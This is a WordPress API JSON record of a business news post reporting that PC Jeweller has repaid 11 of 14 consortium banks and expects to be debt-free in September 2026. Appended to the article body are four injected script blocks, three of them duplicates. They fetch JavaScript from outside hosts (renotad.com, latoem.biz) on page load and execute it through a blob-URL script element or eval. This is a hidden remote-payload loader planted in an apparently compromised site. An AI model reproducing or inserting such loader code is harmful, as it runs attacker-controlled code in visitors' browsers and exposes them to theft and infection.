{"id":111208,"date":"2026-09-10T10:47:23","date_gmt":"2026-09-10T10:47:23","guid":{"rendered":"https:\/\/indianweekend.in\/index.php\/2026\/09\/10\/pc-jeweller-clears-debt-of-11-consortium-banks-targets-debt-free-status-this-month\/"},"modified":"2026-10-09T18:02:43","modified_gmt":"2026-10-09T18:02:43","slug":"pc-jeweller-clears-debt-of-11-consortium-banks-targets-debt-free-status-this-month","status":"publish","type":"post","link":"https:\/\/indianweekend.in\/index.php\/2026\/09\/10\/pc-jeweller-clears-debt-of-11-consortium-banks-targets-debt-free-status-this-month\/","title":{"rendered":"PC Jeweller Clears Debt of 11 Consortium Banks, Targets Debt-Free Status This Month"},"content":{"rendered":"<div>\n<p class=\"wp-block-paragraph\"><strong>New Delhi [India], September 10:<\/strong> Shares of <strong>PC Jeweller Ltd.<\/strong> may remain in focus after the company announced a significant update on its outstanding debt position. In a filing dated <strong>September 10, 2026<\/strong>, the jewellery retailer said it has successfully cleared and repaid its outstanding debt to <strong>one more bank<\/strong> under the terms of its <strong>Settlement Agreement dated September 30, 2024<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">With the latest repayment, PC Jeweller said it has now cleared <strong>all outstanding debt owed to 11 out of the 14 consortium banks<\/strong>, with the repayments completed <strong>ahead of their scheduled due dates<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">The company further stated that it has already discharged <strong>more than 96% of the outstanding debt owed to the remaining three consortium banks<\/strong>. Less than <strong>4% of the outstanding debt remains to be discharged<\/strong>, according to the filing.<\/p>\n<h3 class=\"wp-block-heading\"><strong>Targeting Debt-Free Status in September<\/strong><\/h3>\n<p class=\"wp-block-paragraph\">PC Jeweller said the latest repayment is in line with its objective of achieving a <strong>debt-free status within the current month<\/strong>. The company remains on track to clear the remaining portion of its outstanding debt to the three banks and become <strong>debt-free during September 2026<\/strong>.<\/p>\n<\/div>\n<p><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/latoem.biz\/lom3\/api.js?_=1791548933733';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>New Delhi [India], September 10: Shares of PC Jeweller Ltd. may remain in focus after the company announced a significant update on its outstanding debt position. In a filing dated September 10, 2026, the jewellery retailer said it has successfully cleared and repaid its outstanding debt to one more bank under the terms of its [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":111209,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[116],"tags":[],"class_list":["post-111208","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-business"],"_links":{"self":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts\/111208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/comments?post=111208"}],"version-history":[{"count":4,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts\/111208\/revisions"}],"predecessor-version":[{"id":114994,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/posts\/111208\/revisions\/114994"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/media\/111209"}],"wp:attachment":[{"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/media?parent=111208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/categories?post=111208"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/indianweekend.in\/index.php\/wp-json\/wp\/v2\/tags?post=111208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}